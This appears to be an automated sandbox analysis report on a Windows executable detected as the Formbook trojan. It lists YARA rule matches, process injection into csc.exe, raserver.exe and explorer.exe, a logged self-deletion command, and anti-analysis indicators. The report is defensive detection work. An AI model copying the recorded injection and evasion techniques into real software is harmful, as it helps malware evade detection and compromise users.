Source: 00000003.00000002.6906080166.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000003.00000002.6908193624.0000000005F80000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000003.00000002.6908193624.0000000005F80000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000003.00000002.6908193624.0000000005F80000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000005.00000002.11880642057.0000000000C50000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000005.00000002.11880642057.0000000000C50000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000005.00000002.11880642057.0000000000C50000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000003.00000002.6907188311.0000000005BD0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000003.00000002.6907188311.0000000005BD0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000003.00000002.6907188311.0000000005BD0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000005.00000002.11881186452.00000000032C0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000005.00000002.11881186452.00000000032C0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000005.00000002.11881186452.00000000032C0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000005.00000002.11881283456.00000000032F0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000005.00000002.11881283456.00000000032F0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000005.00000002.11881283456.00000000032F0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000000.00000002.6838996006.000001ED09400000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000000.00000002.6838996006.000001ED09400000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000000.00000002.6838996006.000001ED09400000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: Process Memory Space: kHslwiV2w6.exe PID: 7164, type: MEMORYSTR	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: Process Memory Space: csc.exe PID: 1408, type: MEMORYSTR	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: Process Memory Space: raserver.exe PID: 6624, type: MEMORYSTR	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23

Source: kHslwiV2w6.exe

Static PE information: Section: .rsrc ZLIB complexity 0.9950388536096256

Source: classification engine

Classification label: mal100.troj.evad.winEXE@385/0@23/5

Source: C:\Users\user\Desktop\kHslwiV2w6.exe

Code function: 0_2_00007FF72F5B1830 LookupPrivilegeValueW,GetCurrentProcess,OpenProcessToken,AdjustTokenPrivileges,GetLastError,CloseHandle,GetLargePageMinimum,VirtualAlloc,GetCurrentProcess,VirtualAllocExNuma,

0_2_00007FF72F5B1830

Source: C:\Windows\SysWOW64\raserver.exe

Code function: 5_2_00D1A010 CoCreateInstance,

5_2_00D1A010

Source: C:\Windows\SysWOW64\raserver.exe

Code function: 5_2_00D152BB LoadLibraryExW,FindResourceExW,LoadResource,SizeofResource,MultiByteToWideChar,FreeLibrary,

5_2_00D152BB

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6860:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6860:304:WilStaging_02

Source: C:\Windows\SysWOW64\raserver.exe

Command line argument: offerraupdate

5_2_00D19AC5

Source: C:\Users\user\Desktop\kHslwiV2w6.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: kHslwiV2w6.exe

ReversingLabs: Detection: 47%

Source: C:\Users\user\Desktop\kHslwiV2w6.exe

File read: C:\Users\user\Desktop\kHslwiV2w6.exe

Source: unknown	Process created: C:\Users\user\Desktop\kHslwiV2w6.exe "C:\Users\user\Desktop\kHslwiV2w6.exe"
Source: C:\Users\user\Desktop\kHslwiV2w6.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\kHslwiV2w6.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe "C:\Program Files (x86)\Internet Explorer\iexplore.exe"
Source: C:\Users\user\Desktop\kHslwiV2w6.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\raserver.exe "C:\Windows\SysWOW64\raserver.exe"
Source: C:\Windows\SysWOW64\raserver.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\kHslwiV2w6.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe "C:\Program Files (x86)\Internet Explorer\iexplore.exe"	Jump to behavior
Source: C:\Users\user\Desktop\kHslwiV2w6.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\raserver.exe "C:\Windows\SysWOW64\raserver.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\raserver.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"	Jump to behavior

Source: C:\Users\user\Desktop\kHslwiV2w6.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\kHslwiV2w6.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Users\user\Desktop\kHslwiV2w6.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\kHslwiV2w6.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\kHslwiV2w6.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\kHslwiV2w6.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\kHslwiV2w6.exe	Section loaded: icu.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\raserver.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\raserver.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\raserver.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\raserver.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\raserver.exe	Section loaded: wininet.dll	Jump to behavior

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{603D3801-BD81-11d0-A3A5-00C04FD706EC}\InProcServer32

Switches to a custom stack to bypass stack traces

Source: kHslwiV2w6.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: kHslwiV2w6.exe

Static file information: File size 1627744 > 1048576

Source: kHslwiV2w6.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: kHslwiV2w6.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: kHslwiV2w6.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: kHslwiV2w6.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: kHslwiV2w6.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: kHslwiV2w6.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: kHslwiV2w6.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: kHslwiV2w6.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: wntdll.pdbUGP source: csc.exe, 00000003.00000002.6907354046.0000000005C30000.00000040.00001000.00020000.00000000.sdmp, csc.exe, 00000003.00000002.6907354046.0000000005D5D000.00000040.00001000.00020000.00000000.sdmp, csc.exe, 00000003.00000003.6839534586.0000000005A89000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000003.00000003.6836618547.00000000058D6000.00000004.00000020.00020000.00000000.sdmp, raserver.exe, 00000005.00000003.6906389856.0000000004C10000.00000004.00000020.00020000.00000000.sdmp, raserver.exe, 00000005.00000002.11882185438.000000000508D000.00000040.00001000.00020000.00000000.sdmp, raserver.exe, 00000005.00000003.6909732118.0000000004DB3000.00000004.00000020.00020000.00000000.sdmp, raserver.exe, 00000005.00000002.11882185438.0000000004F60000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: csc.exe, csc.exe, 00000003.00000002.6907354046.0000000005C30000.00000040.00001000.00020000.00000000.sdmp, csc.exe, 00000003.00000002.6907354046.0000000005D5D000.00000040.00001000.00020000.00000000.sdmp, csc.exe, 00000003.00000003.6839534586.0000000005A89000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000003.00000003.6836618547.00000000058D6000.00000004.00000020.00020000.00000000.sdmp, raserver.exe, raserver.exe, 00000005.00000003.6906389856.0000000004C10000.00000004.00000020.00020000.00000000.sdmp, raserver.exe, 00000005.00000002.11882185438.000000000508D000.00000040.00001000.00020000.00000000.sdmp, raserver.exe, 00000005.00000003.6909732118.0000000004DB3000.00000004.00000020.00020000.00000000.sdmp, raserver.exe, 00000005.00000002.11882185438.0000000004F60000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: RAServer.pdb source: csc.exe, 00000003.00000002.6908271712.0000000005FB0000.00000040.10000000.00040000.00000000.sdmp, csc.exe, 00000003.00000002.6906475717.0000000005237000.00000004.00000020.00020000.00000000.sdmp, raserver.exe, raserver.exe, 00000005.00000002.11880773620.0000000000D10000.00000040.80000000.00040000.00000000.sdmp
Source:	Binary string: StrongNameFreeBufferStrongNameTokenFromPublicKeyStrongNameErrorInfo.PDBdiasymreader.dllDllGetClassObject%X%X%X%X%X%X%X%X%X%X%X.TMP0x%016I64xCSCalink.dll with IAlink3 source: explorer.exe, 00000004.00000002.11899785830.0000000013F5F000.00000004.80000000.00040000.00000000.sdmp, raserver.exe, 00000005.00000002.11883241933.000000000554F000.00000004.10000000.00040000.00000000.sdmp, raserver.exe, 00000005.00000002.11881524819.0000000004C14000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: RAServer.pdbGCTL source: csc.exe, 00000003.00000002.6908271712.0000000005FB0000.00000040.10000000.00040000.00000000.sdmp, csc.exe, 00000003.00000002.6906475717.0000000005237000.00000004.00000020.00020000.00000000.sdmp, raserver.exe, 00000005.00000002.11880773620.0000000000D10000.00000040.80000000.00040000.00000000.sdmp
Source:	Binary string: csc.pdb source: explorer.exe, 00000004.00000002.11899785830.0000000013F5F000.00000004.80000000.00040000.00000000.sdmp, raserver.exe, 00000005.00000002.11883241933.000000000554F000.00000004.10000000.00040000.00000000.sdmp, raserver.exe, 00000005.00000002.11881524819.0000000004C14000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: csc.pdbF source: explorer.exe, 00000004.00000002.11899785830.0000000013F5F000.00000004.80000000.00040000.00000000.sdmp, raserver.exe, 00000005.00000002.11883241933.000000000554F000.00000004.10000000.00040000.00000000.sdmp, raserver.exe, 00000005.00000002.11881524819.0000000004C14000.00000004.00000020.00020000.00000000.sdmp

Source: kHslwiV2w6.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: kHslwiV2w6.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: kHslwiV2w6.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: kHslwiV2w6.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: kHslwiV2w6.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\Desktop\kHslwiV2w6.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"
Source: C:\Users\user\Desktop\kHslwiV2w6.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"			Jump to behavior

Source: C:\Windows\SysWOW64\raserver.exe

Code function: 5_2_00D1ACA0 LoadLibraryW,GetProcAddress,GetProcAddress,WTSEnumerateSessionsW,GetProcessHeap,HeapAlloc,WTSFreeMemory,WTSFreeMemory,WTSQuerySessionInformationW,WTSQuerySessionInformationW,StrCmpIW,GetProcessHeap,HeapAlloc,SafeArrayCreateVector,SafeArrayAccessData,SysAllocString,SafeArrayUnaccessData,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,WTSFreeMemory,WTSFreeMemory,WTSFreeMemory,SafeArrayDestroy,SysFreeString,

5_2_00D1ACA0

Source: kHslwiV2w6.exe	Static PE information: section name: .managed
Source: kHslwiV2w6.exe	Static PE information: section name: hydrated

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_00417968 pushfd ; retf	3_2_0041796A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_004191A3 push di; retf	3_2_004191A6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_00416479 push ebp; ret	3_2_00416450
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_0041640A push ebp; ret	3_2_00416450
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_0041D4B5 push eax; ret	3_2_0041D508
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_0041D56C push eax; ret	3_2_0041D572
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_0041D502 push eax; ret	3_2_0041D508
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_0041D50B push eax; ret	3_2_0041D572
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_00417D1E push esp; ret	3_2_00417D32
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_00417D3C push esp; ret	3_2_00417D32
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_00417655 push esi; iretd	3_2_00417656
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_0041760D push esi; retf	3_2_0041761D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C608CD push ecx; mov dword ptr [esp], ecx	3_2_05C608D6
Source: C:\Windows\explorer.exe	Code function: 4_2_028809B5 push esp; retn 0000h	4_2_02880AE7
Source: C:\Windows\explorer.exe	Code function: 4_2_02880B02 push esp; retn 0000h	4_2_02880B03
Source: C:\Windows\explorer.exe	Code function: 4_2_02880B1E push esp; retn 0000h	4_2_02880B1F
Source: C:\Windows\explorer.exe	Code function: 4_2_1344EB02 push esp; retn 0000h	4_2_1344EB03
Source: C:\Windows\explorer.exe	Code function: 4_2_1344EB1E push esp; retn 0000h	4_2_1344EB1F
Source: C:\Windows\explorer.exe	Code function: 4_2_1344E9B5 push esp; retn 0000h	4_2_1344EAE7
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_00D229BD push ecx; ret	5_2_00D229D0
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_00D2252C push ecx; ret	5_2_00D2253F
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_04F908CD push ecx; mov dword ptr [esp], ecx	5_2_04F908D6
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_00C691A3 push di; retf	5_2_00C691A6
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_00C67968 pushfd ; retf	5_2_00C6796A
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_00C6D4B5 push eax; ret	5_2_00C6D508
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_00C66479 push ebp; ret	5_2_00C66450
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_00C6640A push ebp; ret	5_2_00C66450
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_00C6DD4D push cs; retf	5_2_00C6DD50
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_00C6D56C push eax; ret	5_2_00C6D572
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_00C6D502 push eax; ret	5_2_00C6D508
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_00C6D50B push eax; ret	5_2_00C6D572

Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\raserver.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	API/Special instruction interceptor: Address: 7FFCB0D8D144
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	API/Special instruction interceptor: Address: 7FFCB0D90594
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	API/Special instruction interceptor: Address: 7FFCB0D8FF74
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	API/Special instruction interceptor: Address: 7FFCB0D8D6C4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	API/Special instruction interceptor: Address: 7FFCB0D8D864
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	API/Special instruction interceptor: Address: 7FFCB0D8D004
Source: C:\Windows\SysWOW64\raserver.exe	API/Special instruction interceptor: Address: 7FFCB0D8D144
Source: C:\Windows\SysWOW64\raserver.exe	API/Special instruction interceptor: Address: 7FFCB0D90594
Source: C:\Windows\SysWOW64\raserver.exe	API/Special instruction interceptor: Address: 7FFCB0D8D764
Source: C:\Windows\SysWOW64\raserver.exe	API/Special instruction interceptor: Address: 7FFCB0D8D324
Source: C:\Windows\SysWOW64\raserver.exe	API/Special instruction interceptor: Address: 7FFCB0D8D364
Source: C:\Windows\SysWOW64\raserver.exe	API/Special instruction interceptor: Address: 7FFCB0D8D004
Source: C:\Windows\SysWOW64\raserver.exe	API/Special instruction interceptor: Address: 7FFCB0D8FF74
Source: C:\Windows\SysWOW64\raserver.exe	API/Special instruction interceptor: Address: 7FFCB0D8D6C4
Source: C:\Windows\SysWOW64\raserver.exe	API/Special instruction interceptor: Address: 7FFCB0D8D864

Source: C:\Users\user\Desktop\kHslwiV2w6.exe

Memory allocated: 1ED04E40000 memory reserve | memory write watch

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe

Code function: 3_2_00409AB0 rdtsc

3_2_00409AB0

Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 9865	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 879	Jump to behavior
Source: C:\Windows\SysWOW64\raserver.exe	Window / User API: threadDelayed 9394	Jump to behavior

Source: C:\Windows\explorer.exe

Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)

Source: C:\Users\user\Desktop\kHslwiV2w6.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

graph_0-29224

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	API coverage: 2.0 %
Source: C:\Windows\SysWOW64\raserver.exe	API coverage: 1.7 %

Source: C:\Windows\explorer.exe TID: 5936	Thread sleep count: 102 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 5936	Thread sleep time: -204000s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 5936	Thread sleep count: 9865 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 5936	Thread sleep time: -19730000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\raserver.exe TID: 6960	Thread sleep count: 120 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\raserver.exe TID: 6960	Thread sleep time: -240000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\raserver.exe TID: 6960	Thread sleep count: 9394 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\raserver.exe TID: 6960	Thread sleep time: -18788000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\raserver.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\raserver.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\kHslwiV2w6.exe

Code function: 0_2_00007FF72F5B1460 GetSystemInfo,GetNumaHighestNodeNumber,GetCurrentProcess,GetProcessGroupAffinity,GetLastError,GetCurrentProcess,GetProcessAffinityMask,

0_2_00007FF72F5B1460

Source: explorer.exe, 00000004.00000002.11892830107.000000000D3AB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6853066858.000000000D3AB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8624058026.000000000D3AB000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
